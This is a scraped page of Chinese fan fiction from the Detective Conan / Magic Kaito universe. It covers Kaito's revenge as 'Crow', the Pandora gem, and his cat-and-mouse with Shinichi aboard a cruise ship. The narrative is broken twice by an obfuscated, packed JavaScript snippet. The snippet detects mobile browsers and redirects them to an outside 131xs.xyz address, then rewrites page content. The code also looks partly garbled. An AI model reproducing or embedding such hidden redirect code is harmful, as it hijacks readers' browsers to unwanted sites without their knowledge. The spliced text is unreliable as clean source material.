巨大的爆裂声伴随着炽热烟尘一同侵蚀了黑羽快斗的感官,以致他的手指被流淌下来的鲜血沾湿才发现,黑羽盗一的身体已经被高处砸落的五层玻璃吊灯片片穿透。 他没有躲开,因为他握住了黑羽快斗的掌心。 “因为自小厌倦太过平凡的生活,我很早就脱离了父亲……你的祖父的监护,十几岁就开始在全国展开魔术巡演。” 后来黑羽盗一头一次说起自己的过去,那是黑羽快斗从未听闻的故事。 “当然魔术展也很快开腻了,自从20岁夺得FISM最高奖,作为魔术师的生涯已经难逢敌手。我没兴趣应付经纪人频繁安排的虚伪应酬,有次心血来潮地偷溜回在日本的祖父故居,然后打扫阁楼的时候发现了一颗藏在诸多旧物深处的宝石。” 似乎呼应着黑羽快斗此刻失重般不断下坠的内心,黑羽盗一意味深长地笑了一声。 “那是你一生热衷寻宝探秘的祖父金盆洗手前的最后一件战利品,其名为——潘多拉。” 黑羽之血如锁链般承继的宿命,在此觅得原点。 潘多拉确实如传言所描述的那样,是一枚结构精巧的宝石,在好奇心的驱使下,黑羽盗一很快破解了其中藏匿的秘密,因为对医学兴趣有限加上不齿永生之药背后的血腥历史,这件事很快就被他抛到脑后。 此前潘多拉的传闻已经流传了百年,因为内容太过荒诞,所以相信的人一直寥寥无几。只有少许与创始者存在关联的势力接任者,才会持续追查宝石的踪迹。 但莎朗·温亚德甫一出现于黑羽盗一的视野,他就意识到,要变天了。 潘多拉居然还有残篇的笔记流落在外,那笔记居然真的被医学专家得到并且开发出了药物,无数因其不完善的成分而猝死的临床试验者当中,居然真的出现了能维持不老容颜的幸存者…… 倘若她身上所出现的奇迹被暴露出去,整个世界都会为此沸腾,陷入疯狂。 只要真相存在,就永远存有形迹,天下岂会存在永远不被破解的秘密。祖父得到过潘多拉的情报一旦为人所知,无论是黑羽、他自身,以及与他有关的所有人,都会因此遭受灭顶之灾。 于是黑羽盗一策划了一场欺世骗局。 由他扮成同样对潘多拉感兴趣的怪盗,然后在众目睽睽之下夺得并毁灭这颗宝石,就能永绝后患,破灭世人对永生一切不切实际的妄想。 在此之前黑羽盗一打算对潘多拉溯源并确保没有其他残本流落在外,他为此耗费了多年的时间进行搜查寻找,期间也不意外地听闻研发出残缺版永生药物的那对科学家夫妇双双身故,疑似死于暗世界的内部斗争。 后来黑羽盗一自己也遭遇了变故,为了避开风波,不得不冒险诈死,此后便以乌鸦的身份暗中行动。 “潘多拉的秘密正如其名,为所有牵连其中的人带去了无上灾祸。但是快斗,我引以为傲的儿子,请原谅我最后的私心吧,活下去……拼命地活下去。” 潘多拉的真相,潘多拉的希望,潘多拉的宿命,在黑羽盗一生命的最后一刻,交付于黑羽快斗的手中。 “嘀——嘀——” 医疗仪器规律而单调的声音唤醒了沉浸于回忆的黑羽快斗,他恍惚回望,仿佛又听见另一个自己泣血般绝望的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645525|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不能死。 我还有不得不去做的事情。 破碎的血肉囚笼里传来无声的呐喊。 我不想死。 我还有想要回去见的人! 黑羽快斗只有一根小指能够动弹,只有小指就足够了,在黑羽千影的双手握住他的时候,他用指尖在她掌心轻点。 ···· --- ··· SOS 救我。救我! 潘多拉的奇迹,潘多拉的魔法,凭他过目不忘的头脑,只要听过一次就铭记一生的秘密,整整三日三夜,光是利用密码传达就几乎将他所有残存的精神损耗殆尽,流到母亲掌心的鲜血反复干涸又濡湿,那是他生命中最为寂静的数日。 一周之后,他饮下潘多拉,血肉开始再生,五脏六腑重新焕发生机,总算挣扎着从地狱深处爬回了人世间。 那就开始完成我的执念吧,复仇。 自睁开双眼的那一日起,属于黑羽快斗的所有过去都被他彻底埋葬。恢复期间他的身体无法自由行动,那就隐于幕后,策划足够精密的计策来达成目的。既然自己势单力孤,情报稀缺,不如顺势借用乌鸦的身份,潜入组织。阻碍的人势力盘根错节,他便激化对方与敌对势力的矛盾,诱导他们争斗得两败俱伤。 名字、感情、自我……这些对他都不再重要,尽管丢弃所有过去使他变得一无所有,却也失去了最后的软肋。只要披上黑色的斗篷,藏匿起面貌和目的,躲进落月沉覆的暗夜里,谁也无法窥视他心底的真相,谁也不能触碰到他的灵魂。 “利用多封真假参半的泄密信误导与毒蛇交易的官员,让对方以为他同样与自己的政敌暗通款曲,于是背弃承诺使其死于反水的枪战。 “东南亚地区恶名昭彰的海贼马库斯,通称鲨鱼,这名平素在各国间偷渡违禁品的国际犯最终阴差阳错地死于药物过量,他打劫的商船货物存在问题,领海巡警发现的时候整船人都已生命垂危。 “在武道馆无预兆发狂后自杀的高桥政务官,警方调查现场时发现他与另一名在场的男子有过接触,怪异的是那名男子逃走三十分钟后被发现以同样的姿态自杀。根据录像回放显示,此人死前在不该出现镜子的地方照到了镜子,原来有人事先将附近洗手间的镜子改造成了可拆卸的模式。值得注意的是,第二名死者名为冈特·冯·哥德堡二世,是世界著名的幻术师,左眼带有蜘蛛文身,死因疑似是陷入自己的幻术而大脑狂乱。 “上议院的内阁议员……代号老鹰…… “职业间谍飞蛾…… “…… “……以上这些案件横跨数年,不排除存在更为隐蔽的内部斗争的可能。尽管被害者死因各异、直接凶手不同,但均与某组织关联密切,且存在共性:谋杀手段精准针对目标的习性,善用心理战与陷阱,热衷借刀杀人。虽然你的所有布置、诱导以及教唆都只是间接促成了被害者的死亡,你自身看似干净得无可挑剔,律法也无法为你的行为定罪,但根据我的判断,这实质就是不折不扣的连环杀人行为。” 谁能想到熟悉的声线自电话另一端蔓延过来的刹那,有的人连呼吸都情不自禁地停滞了数秒。仿佛有另一颗过分明亮的星星经过他孤独航行的漆黑宇宙,强大的引力使自己命运的轨迹骤然转折,他握在听筒上的手指在微不可察的战栗中收紧,指尖都开始泛白。 “啊啊,真是精妙绝伦的名推理。” 像是一种欣然之下的习惯,最先脱口而出的居然是一句满怀欣赏的夸赞。 所谓宿敌,究竟是一种什么样的存在? 无论过去,无论将来,无论场合,无论身份,无论一切外界赋予他们的东西,命中注定要与他狭路相逢,此生将无休无止地与之相互追逐的命运之人。 对面侦探冷冽理智的声音戛然而止,突兀得如同演奏一曲优美乐章的乐器忽然出现故障。 “是你?” 工藤新一的呼吸乱了,语气也不经意地带出凌乱的躁意。 他没说出他的名字,但对面的人就心意相通一般地笑出了声音。 “初次见面,工藤新一。我对您这位当代最伟大的名侦探可谓久仰多时,很荣幸那些简陋计策能吸引您留意到我这微不足道的无名小卒。” 装模作样的谦虚言辞也掩盖不了对方话语中满溢出来的傲慢,更遑论其中有意为之的恶劣气息。 “对了,还请容许我不见外地自我介绍一下……乌鸦,人们都是用这个名字称呼我的。” 乌鸦,是羽翼被罪孽染黑的飞鸟。 以死尸的腐肉为食,不这样做就无法生存。 使用再多道貌岸然的手段借刀杀人,都无法掩盖他利用了自己的智慧谋夺他人生命的事实。如果是当初那个品格高洁的怪盗Kid、天真善良的黑羽快斗,是绝对不会原谅自己犯下的罪恶吧。 挂断与工藤新一的电话后,他站起身,抬起头凝望夜空光泽清冷的月亮。 还差一两个人……很快了,所有将黑羽盗一逼入死局的真凶都已经走向破灭,除了他自己。 这具身躯已经接近不老不死,遇到寻常的损伤和疾病也能很快自愈,几乎称得上永远立于不败之地,不过从心灵层面来看又是另一码事。 “能请求您过阵子帮我一个忙吗?通过催眠的手段,让乌鸦沉睡。” “我不认为你有罪,我的儿子。”黑羽千影冷然地问,“如果你坚持,你是要逃避自己的罪吗?” “不。”乌鸦轻笑。“这将是我此生唯一一次的自首。” 人自身的大脑存在保护机制,像是催眠的手段最多只能强迫他的心灵沉睡在意识深处,逃离当前的现实,但无法将自我彻底抹除。 然而无法抹除不代表不能截取有限的记忆构造出另一个自己。 使用着同一具身体、思维个性也与他完全同源,苏醒后截然不同的人生经历能自然而然地塑造出一个仿佛来自平行世界、完全纯白的黑羽快斗。 最好别知道那些他成为怪盗以后发掘出的秘密了,因为他觉得或许过去17岁的自己选择复仇这件事本身就是不可饶恕的犯罪。黑羽快斗曾在一片漆黑的天空下孤身飞行太久,尽管从不相信世间任何律法能与他心中的正义雄辩,却也在不知不觉中迷失了归处。 直到那场大火,毁灭了他的过去,也毁灭了他的未来。 乌鸦的眼睫掀动,像是被猩红的火光燎烧,瞳仁深处燃着孤注一掷的烈火。 这十年来,他一意孤行地执拗走到此处,秉持内心的度量将许多人赶尽杀绝。奈何临到复仇使命即将完成,乌鸦逐渐失去存在意义的最后,他却对这颗心是该继续存在还是应被彻底埋葬而举棋不定。 所幸这世上还仅存在一个人的器量堪与他匹配,不如就最后一次来豪赌一把吧。 利用这场终于步入尾声的潘多拉之劫作为彼此争斗的最终舞台,让他最伟大的对手来裁决他的罪孽。 天平的一端是曾被乌鸦亲手扼杀的黑羽快斗,不知晓任何黑暗的内幕,没经历过目睹父亲身死的惨案,连身为怪盗那些危机四伏的夜晚都被彻底忘怀,天真无比的年轻高中生。 另一端是从地狱爬回人间、血迹满身的乌鸦,精心算计着手中每一颗棋子的心理,不择手段地报复心中痛恨的仇敌,哪怕背弃初心,踏过脚下的累累尸骨,也无法停手的犯罪专家。 工藤新一,你会选择让谁存在于世? 22.File 22 海面溅起的一簇白浪,犹如揉进夜色里的一朵昙花,仅眨眼间就从盛开的姿态彻底凋散了。 工藤新一握在栏杆上的手指微微收紧了一瞬,缓慢垂下眼睫。 很多人站在高处俯瞰时会产生一种往下跳的冲动,实际是大脑通过这种幻想自杀的方式警告身体将遭遇危险。这种在心理学上被称作“虚空的呼唤”的念头来源于人类的求生天性,总是竭尽所能地避免自身跨越生与死的界限,潜意识中将死亡视作不可轻易触碰的禁区,死的代价越重,人生便越显得可贵。 但是,他的宿敌一直存在于规格之外的世界,无法被既定的常识所束缚,也不能用演绎和推理去轻易定论。 换而言之,黑羽快斗的安全界限远比寻常人更加模糊,有时候就像只隔一层虚无的薄膜,尽管这个人能看见另一端就是死亡的世界,但他还是坦然无畏地坠落了下去。 工藤新一心想,无论过去多少年,这混账果然还是那个自尊奇高的小鬼,敢犯错敢受伤却唯独不肯把狼狈的样子展现给熟悉的人。 但是,你一定不会忘记如何再飞起来吧,黑羽快斗。 他回神的时候才留意到足边落下了一枚黏着白玫瑰的卡片,上面留下了少年漂亮灵动的干净字迹。 黑羽快斗是个从不屑遮掩自己私心的天之骄子,哪怕他事先已从乌鸦的作案风格中模糊意识到了与工藤新一作对的幕后黑手就是这个时代的自己,也不打算按捺他此刻绝对偏爱心上人的感情。 ——我的名侦探,你一定要如愿以偿。 “哼,工藤新一,你不会以为这就能赢过我吧?” 同一时间,截然不同的话语出自同一人的口中。 地面洇开一片湿痕,缓步走过暗道的少年轻喘着抬手撩开湿透的额发,冰凉指尖拂过的皮肤烫得惊人,冷白的肤色难得透出淡红的色泽,让他不带表情的冷然脸孔多了一丝鲜活气息。 施加于自身的暗示有两重。 其一,当他面临生死危机,让身体强行回忆起复健后由怪盗淑女训练的身手,作为保命底牌。 其二,当这副几乎与疾病无缘的躯体突然发烧,被封印起来的所有的记忆就会解除。 APTX-4869的解药在发挥功效时,会在短时间内强行在人体引发高热,纵然无法破解潘多拉的效力,却代表有人已经揭破乌鸦的身份,迫使黑羽快斗自愿或非自愿地饮下解药。 记忆里闪过工藤新一仿佛死神垂青般的吻,他的宿敌将指尖暧昧地划过唇瓣,笑得很深。 真遗憾啊,名侦探,你这回猜错一次。 锐利的眸光在长睫敛下的阴影里寸寸沉了下去,暗处流转着色泽浓重的冷酷色彩。 我和你不一样,□□只是用以执行计划的道具,容纳思想的躯壳,只要拥有高效的机能,无论老幼美丑都没有关系。 他的人生没有未来,也不需要强留住属于这个时代的身体。 可能是解药导致的高烧让他久违地重温了一番头脑晕眩和手足乏力的虚弱,在海里游泳的体验也像是时间回转到了他和名侦探头一回在莎莉贝丝皇后号上交手的时候。记忆回涌的触感如同倒灌的咸涩海潮,在他的身体里汹涌成灾。他用手掌按住胸膛,掌心感受那怦怦急跳的心脏,被笼在黑暗深处的脸色逐渐变得难以分辨。 这些年他已经很少再去回顾自己的过去,因为太多无处可去的感情会让他的心变得软弱,但这却是另一个自己梦寐以求的东西。 当今世上只有他和黑羽千影知晓潘多拉早已被黑羽盗一彻底粉碎的真相。至于“五号金库”里的那颗宝石,则是黑羽盗一早年出于未雨绸缪的考虑,制作的一个徒有其表的仿造品。 后来金库的钥匙被自己拆分成两半,其中之一混入沉船打捞出的文物之中,另外一半则由他假冒成香港商人交给铃木园子。接下来只需要对传言稍加运作,就能让某些人对宝石就是潘多拉的谎言深信不疑,而他在为了彻底终结潘多拉的传说设下陷阱的同时,也不惜以身为饵,邀请他的宿敌步入他的棋局。 无论工藤新一会不会将那个只有纯白记忆的黑羽快斗留在身边,他都有办法让自己的计划进行下去。可纵然这些年他算计过千百种人心,也没想到另一个自己会那么轻易又不可救药地爱上工藤新一。 傻白甜……好吧,除了不傻,另外两个倒是挺齐全的。 他讽刺地想着,此刻的心情却出奇地不算坏。 长夜将尽,就这么藏在自己早已习以为常的暗处,然后等待高烧消退吧。他如此想着,却在准备换下湿透的衣物时听见储物仓库的大门传来“咔嚓”一声。 在这普通人都已彻底入眠的时间,会是谁来到此处? “地面是湿的……谁在那里?!” 来人比他预想的更加警觉,随着上方灯管开始轻微闪烁,仓库骤然被刺眼的光线照亮。 海鸥啊。他不耐地“嘁”了一声,现在还不是让这家伙见到自己的时机,本打算直接甩脱对方,但当他将视线转向自己手中那套船员制服,心想趁这机会送给他的好师姐一个人情也不错,她不是想把组织中打算对APTX-4869伸手的人都处理干净么? 这一念之差的思索时间足够对方窥见他在灯下极具辨识度的俊秀侧脸。 水珠一滴一滴地从漆黑带卷的发梢里析出,落到地面变成深色的痕迹。 “你是刚才宴会厅的那个侦探小鬼?” 这第二句问话的声音已经毫无疑问地掺上了杀意,因为江户川柯南显然和工藤新一同样,是能够阻挠他们取得潘多拉的棘手侦探。 伫立在货架一旁的少年忽然勾唇笑了一声,转过头来。 该如何形容对方此刻的眼神?凌厉得好似能切割月色的冰刃,裹挟着猎食者特有的从容与恶意。 但海鸥还没来得及为这一瞬似曾相识的危险气息作出反应,那人手中抛出的衣物就已经飞到了眼前,待他气急败坏地将遮挡视野的布料扯开,对方已经换上了同样的一身船员制服,一边跑还一边将工作帽戴在头上。 不能让这个见过自己外貌的侦探逃走。 海鸥立即拔腿直追,眼见那人跑到仓库另一侧的大门处,不由露出一个得逞的笑容。 真是失策啊,那边的门是锁住的。 但他的笑没有持续超过三秒,就眼睁睁看着对方轻而易举地打开大门,跑到外面的走廊去了。 先随便引来个便衣,让他们把海鸥抓住关起来好了。 回过头扫了一眼在身后穷追不舍的海鸥,他正在心中如此盘算着,踏出应急楼梯,蓦地听闻电梯间那边传来“叮”的一声,金属门向两边打开,电梯里走出一名身着粉红礼裙的女性。 她是…… 高烧让他的反应能力下降了太多,又因为这一瞬间的分心,只来得及凭本能让身体的致命处避开后方袭来的子弹,手臂的衣料被撕裂之后很快染上血色,为了避免血滴落到地面,伤口被他立即用手捂住。 远处的女子看见他被枪打伤以后单膝跪在地上,好像彻底走不动的样子,顿时大惊失色。 “柯南君!” 毛利兰从铃木园子那边听说了警方并未在晚宴后抓到凶手的内幕消息,加上江户川柯南后来忽然离场,自此变得下落不明,让她心中感到忐忑难安。 最有可能的猜想是,江户川柯南是独自追查凶手去了。 她回去客房以后实在心神不宁得思考不了其他事情,便决定到邮轮低层走走,没想到时机如此巧合,正好撞上柯南君被人追杀。 经过安检登船的普通乘客不可能持有枪支,对方必然是在宴会上杀人的幕后黑手。 从少年指缝间溢出的鲜血让毛利兰心中的担忧攀至顶点,她刚准备快跑过去查看他的伤势,耳边骤然传来一句声调凌厉的提醒。 “闪开!” 她很快反应过来,敏捷地侧身避开子弹,随后抬头,缓缓用充满警惕的目光对准前方明显不怀好意的男子。 要救柯南君就必须先解决这个人。 只是待她将不可置信的匪徒制伏在地,准备联络警官和医生的时候,却发现行踪无常的少年不知何时又再一次不辞而别。 晚宴凶手已被擒获的消息在天亮以后才传入工藤新一耳中,告诉他消息的警员将手机拍摄的照片展示给他,工藤新一看着屏幕上的犯人照片,不动声色地挑起眉梢。 警员目露好奇地问:“说起来,昨晚我好像没在宴会上看到工藤先生的身影啊。您是去哪里了?当时是另一个高中生年纪的小侦探破的案,他很有您当年的风采哦。” “那时候我发现Kid的踪迹所以追了出去,不过还是被他逃了。” 小侦探本人转过头,平静地说。 数小时未见,黑羽快斗就把海鸥送给了警方作为代替怪盗淑女落网的犯人,工藤新一面上不显,内心却从他的做法中觉出几分微妙。倘若海鸥不是他打算在夺取潘多拉的计划中发挥作用的棋子,那他为何利用乌鸦的身份将他引到此处? 按照预定的航行计划,莎莉贝丝皇后号将在今日驶出日本领海,然后在隔天与港方完成沉船文物与保险箱的交换,并于晚上举办宝石展览。但在邮轮离开日本领海之前,海上保安厅会先一步与船方完成前夜死者尸体的接收。 海鸥此时被捕,正好可以让海上保安厅将他一同押送回国,提前进行案件审理,这代表对方将完全丧失继续发挥作用的余地。 工藤新一思考着黑羽快斗此举的用意。 是打算将海鸥抛弃?什么原因使他做此决定? “中森警官将犯人关押在哪里?”他问。 警员回答:“在最下层编号为梅花K的内舱房,警官安排了轮值的警员在门口看守,工藤先生不必担心犯人会逃走。” 工藤新一对他自信满满的保证不作评价,但考虑到海鸥对APTX-4869的图谋,还是觉得让他与灰原哀同乘一船返航存在不小风险,于是告别警员以后独自前往梅花K的房间。 然后应该说不出所料,他发现本该有警员驻守的门外空无一人,房间里的海鸥也彻底消失不见。 与此同时,船方也通过广播向所有人通告了凶手落网和海警即将前来接收尸体和凶犯的消息,让惶惶不安了一夜的乘客们发出惊喜的欢呼。另外,虽然铃木财阀先前已经保证船上提高了安保水平,但晚宴中出现了杀人事件也是不争的事实,出于尊重宾客意愿的考虑,他们允许希望提前返航的人们搭乘海上保安厅的舰艇一同回国,并承诺将全额退还此行的旅费。 后一项提议的回应者寥寥,很多人从世界各地汇聚于此,登上这艘为了迎接怪盗的挑战而专程启航的豪华邮轮,就是为了亲眼目睹和亲身参与本世纪最伟大的海上冒险。 要是连宝石的影子都没看见就临阵脱逃? 在踏上陆地的那一秒,他们就会彻底沦为笑柄。 为人耻笑,名誉扫地,甚至可能失去在原来社交圈的优越地位。大家都是作为万里挑一的精英才得到登船的邀请,登船之前媒体将他们捧得多高,灰溜溜回去之后就定然被嘲笑奚落得多刻薄。 何况跟着罪犯与尸体一起回国这件事本身也足够让人毛骨悚然。 置身人群的灰原哀自然也听见了人们的议论,不由轻叹了口气,心想应该只有她这种处境不同的人才会选择回去吧。 等下,只有她……? 就在这一瞬间,倏然而至的念头让灰原哀感到脊背窜过一道寒意。 此刻她已经走在即将离开邮轮的路上,但还不待她迈出的脚步踏上甲板,就被突然搭在肩上的一条胳膊轻易压住了脚步。 “哟。” 灰原哀的耳边传来一声招呼。 不知为何,清亮声音中若有若无的笑意却不同于前夜随性跳脱的少年气质。抹除了一切友好和熟稔的痕迹,语气、氛围、内容、情绪,全都令人背后寒意丛生。 “不好意思,我忽然想起了一件忘记要做的事,不得不请灰原小姐稍微留步。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651304|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——该说她其实早有预感这次逃离注定会横生波折吗? 灰原哀从发现自己被骗回国的真相时就感到事件不同寻常,能瞒过工藤新一的耳目完成那样一个瞒天过海的绑架计谋,对方展现出的心计早已超过一般犯罪者的水准。 “你到底有什么目的……” 就差一步,灰原哀眼睁睁看着光与暗的界限划分开她与转角之外人声鼎沸的世界。桎梏着她脖颈的手指施力很有技巧,轻而易举地令她发不出声音,隔着一层薄薄的手套,贴在对方指腹的针尖逐渐刺痛皮肤。 冷汗顺着鬓角往下淌落,视野开始模糊。 漠视还是无视,对方过分理智的缄默压迫得灰原哀一颗心不断下沉。 灰原哀原以为他也是APTX-4869的受害者,才会如此执着于那个药物,然而说不通的地方实在太多,但凡这个人心存不轨,他随时可以变成工藤新一来套取情报。 她艰难地移过视线,闯入一双噙着玩味笑意的眼睛,比之先前多了层裹着冷意的漫不经心,微微眯起的样子似乎在说,好戏才正要开始。 “事情不太对劲。” 中森警官协同部下好不容易找到失踪的警员,还没有松一口气,就听见工藤新一独自喃喃自语的声音。 现在的当务之急不是寻找逃走的海鸥,对方的容貌已经被警方留下记录,而且海鸥自身没有太过高超的乔装手段,身处在这相当于海上牢笼的邮轮中,就算他身怀武器也不敢胡乱惹是生非。 不排除有人协助海鸥逃走的可能性。如果是贝尔摩得,她是否与黑羽快斗也达成了什么交易? 工藤新一看了一眼手表,因为找人花去太长时间,莎莉贝丝皇后号已经驶入公海,同时也就表示海上公安厅的舰艇已经返航,他们错过了交接犯人的机会。 中森警官有些疑惑地看见工藤新一的表情越来越严肃,随后侦探打了一个电话,只问了对方是否顺利离开和有没有意外事件两个问题。 宝石未至,那家伙的一番行动到底存在什么目的? 整船人中,只有工藤新一最清楚黑羽快斗此刻必然别有所图。这一天在他的搜寻中过得很快,夕阳烧尽之后,黑暗降临于海上,世界翻转入夜。破解谜团的转机出现在他与毛利兰在餐吧的偶遇,工藤新一心下疑惑,为何向来热衷共享美食的闺蜜二人今夜竟不在一起行动? “园子啊,她说身体不太舒服,从下午起就待在房间里休息呢。”毛利兰有些担忧地说,“应该是昨天处理杀人案对她造成了影响,一时累到了吧。刚才她还发了短信给我,说明天再约时间一起打牌。” 侦探只觉右眼皮重重一跳,心想问题就出在这里。 工藤新一午后寻找失踪警员的时候向铃木园子的特助咨询了各处船员的到岗情况,他记得很清楚,当时对方还在吩咐下属为他们董事长准备下午茶,菜单中尽是蛋糕慕斯和甜葡萄酒一类热量爆炸的甜品,引得他也不禁为之侧目。 倘若铃木园子当真身体不适,显然就不会有这么好的胃口。 他脑海中的线索隐隐约约连成一条线,工藤新一将双手撑在桌面,骤然从座位站起:“抱歉,我有要事先走一步。” “又来这一套啊……”毛利兰无奈又担心地看着他匆匆远去的背影,垂下眼睛,有些落寞,又有些感慨地笑了笑,“真是十年如一日。” 海鸥被作为乌鸦的黑羽快斗毫不犹豫地抛弃,是因为他打算夺取APTX-4869的秘密。 但他设局让海鸥落入警方手中,又在海上保安厅即将到来的关键时点放其逃离,因为警员轮岗的时间为两个小时,所以海鸥逃跑的事实很快就会被发现,作为结果,这将使中森警官和自己不得不将大部分注意力分布于寻找海鸥和失踪警员一事上。 关键在于,灰原哀才是掌握APTX-4869情报的核心人物。黑羽快斗费了那么大功夫才将灰原哀从美国引回日本,甚至让贝尔摩得将她带到这艘莎莉贝丝皇后号上,岂会任她轻易离开? 最终让他的布置变得难以揭穿的根源就在铃木园子身上。她作为这艘邮轮的所有者,享有绝对的特权和隐私保护。哪怕铃木园子一时半会儿因故无法出现,也有为数众多的下属替她打理船上的一众事宜。另外,这些人还能够替她拦下外面的访客,为她提供一个绝对不受打扰的安稳环境。 为防万一,工藤新一请中森警官协同他一起来到铃木园子的独立套房。他先敲了敲门,发现无人响应之后又用手机拨打了她的号码,中森警官眼见电话自动挂断,便对当值的经理点了点头。 经理上前一步,拿出万用房卡。 咔嚓。门锁开启。 光线从走廊延伸进昏暗的屋内,工藤新一在一瞬间感受到有微凉的轻风拂过面颊,空气中淡淡的咸湿味充盈于鼻腔,让他隐约闻到了海的味道。 侦探微一恍惚,又很快回过神,一个预感浮上心头。 他应该已经走了。 中森警官屏息静气地潜进室内,没有发现任何敌人,他皱了一下眉头,向工藤新一打了一个手势。 侦探轻轻颔首,同样步履极轻地走进房间,不过他的搜查更具目的性,脚步经过入户玄关、客厅和会客室,然后一路向卧室套间走去。 这边的门压根没关,像是始作俑者已经吊足了胃口,不打算再让人胆战心惊。 工藤新一在门口站了一会儿,将目光投向能眺望大片海景的落地窗,由于可升降的上半部分被降到地面,呼呼海风将侦探凌乱的额发吹得飘动不止,也让夜晚变得不再平静。 房间中央是一架垂下了朦胧纱帘的大床,沉睡其中的女子有着令人眼熟的栗色发丝,但她似乎在久违的睡梦中精神也无法平静,脸庞在无意识中露出极不安稳的表情。 好不容易才冷汗涔涔地从梦境中脱身,猛一睁眼,入目所见的那张脸孔又让她一时哑口无言了。 工藤新一仿佛知晓她内心在想什么,在她复杂的注视下点了点头:“是我,灰原。” 23.File 23 哪怕犯案的是从地狱中爬出的厉鬼,只要存在于世就必然会留下痕迹,没有人能在工藤新一的眼下瞒天过海。 在只有17岁记忆的黑羽快斗出现以前,准确来说,是在中岛血案和青山狙杀案更早以前,工藤新一就开始关注乌鸦的存在。 起初他以为乌鸦只是一名擅长布局的组织高层,但工藤新一越是深查,越是忌惮其精于谋算人心和借刀杀人的处事作风。 毫无疑问,乌鸦是个危险至极的人物,工藤新一将他视作世间罕有的阴谋家。与此同时,侦探也洞察了他隐藏得极深的孤傲秉性。纵观乌鸦历来策划的罪案,与他时常在精神上玩弄折磨敌人的恶劣做法不同,他从来不屑于亲自手刃对手,也不会把普通人牵连进去。 能在那么多案件发生以后,才被工藤新一觉察出他作为幕后黑手的痕迹,这般成就便足以证明乌鸦的谋略之精妙。如此惊才绝艳的人物竟为俗利虚耗心力,简直如同清泉投入浊流,哪怕后来工藤新一与他本人交谈、见面,知晓他是诈死多年的黑羽快斗,查出他与组织有血海深仇的内幕,也从不相信他这样的人有朝一日会深陷于复仇的泥沼,变得无法自拔。 那么,你究竟是为了什么才投身黑暗,不再回头? 工藤新一走到落地窗边,望向远处漆黑的海浪,在心中轻问。 他想起黑羽快斗回归以前,围绕潘多拉的诸多事件尚未发生,那是一个零度以下的隆冬午夜。 工藤新一刚解决一桩案件,告别警官以后他想花一段时间整理思绪,便独自走在东京的街头。 世间众多恩怨纠葛的起因几乎都逃不开求不得和放不下的魔咒。无法被满足的欲求以及不肯释怀的执念,驱使着因此绝望的人们犯下罪行。但在所有罪孽当中,唯有杀人是截然不同的,因为已经逝去的生命不会再回来,一旦抹杀与自身同等的个体,必然也将对等地扼杀自我的人性。 无论任何人,活着的机会都只有一次。 生与死的界限公正至极,他工藤新一自然也不是例外。 倘若力所能及……他会阻止所有的潜在杀人凶手犯下这种无法饶恕的罪行。但是很遗憾,他只是个侦探,就算拥有侦破万千谜案的能力,也不可能阻拦世人的绝望洪流。 正因他如此清醒地认清了世界也认清了自己,心中才不会迷茫。 四下无人,寒冷空气一点点剥离了他情绪上残余的热度,站在十字路口等待红灯的数秒间,工藤新一微微抬高伞檐,看见无数白色的雪花从黑色的天幕中无声落下,将天地笼罩在一片寂静的纯白之中。 连绵车流的间隙中若隐若现出他伶仃的身影,街灯在雪幕里被晕染成冷雾的质感,无声地包裹着侦探瘦高颀长的身躯,风衣下摆被寒风吹动,满地流淌着从附近大楼投来的霓虹光色。 一通匿名电话在这时打进他的手机,屏幕上未显示任何号码,直白地昭示着来者的不怀好意。 工藤新一按下接听键,然后通讯那头捎来一声简练的称呼。 ——哟,侦探。 连特指都不需要,因为是世界上唯一能追上他的伟大侦探。 “是你?”工藤新一握住手机的手指收紧,蹙着眉头竭力维持冷静。 “没错,是我。”通讯另一端的声音清越如意气风发的少年,声调里带着轻浮到近乎不真实的笑意。 他似乎身处一个风很大的地方,呼啸的风声将他说话的尾音吹得模糊不清。 “虽然名侦探工藤新一日理万机,非常忙碌,但我想我这时候的来电应该不至于打扰到你的夜生活吧,我亲爱的宿敌先生?” 工藤新一对他的玩笑话充耳不闻,单刀直入地问:“突然联系我,是有什么目的?” 乌鸦身为那个图谋长生不老的组织高层,因其诡诈冷酷的行事作风树敌颇多,等闲不会主动让自己引人注意,反过来说,他一旦出现,就证明他对自己所图谋之事已经胸有成竹。 果不其然,那彼得·潘般的犯罪天才低笑了两声,工藤新一几乎能想象出他长睫低垂神情骄矜的傲慢模样:“我觉得条件准备得差不多了,所以特地跟你打声招呼。就算是一个私人预告吧。” 侦探的心脏为他简单的“预告”二字狠狠跳动了两下。 “所以,这算是你的宣战?”工藤新一沉声问。 “不用心急,名侦探。许久不见,我们可以先叙叙旧。” 此人陡然温柔下来的声音携着蛊惑,暧昧且随意,却仿佛携着来自时光尽头的气息,一字一音都暗合着他内心颤动的节拍。 偏偏是他,偏偏是这么一个精彩如幻梦的人物,十年前用死亡的借口抹去了自己的一切踪迹,消失得比神出鬼没的怪盗还要干净彻底。 工藤新一想到这里,下意识握紧手机,冷声说:“真是荒谬。我们有什么旧好叙?你前不久才刚跟我说‘初次见面’吧。” “就算我们只有初遇。我对您的思念也是可以写得书盈四壁呢。” 对面说的每句话都像是裹着蜜糖的毒素,在听见一瞬间就侵入神经纤维,让人陷入失常。他巧妙绕开了工藤新一形同控诉的质问,玩世不恭的调笑语气都藏不住当中侵略的气息。 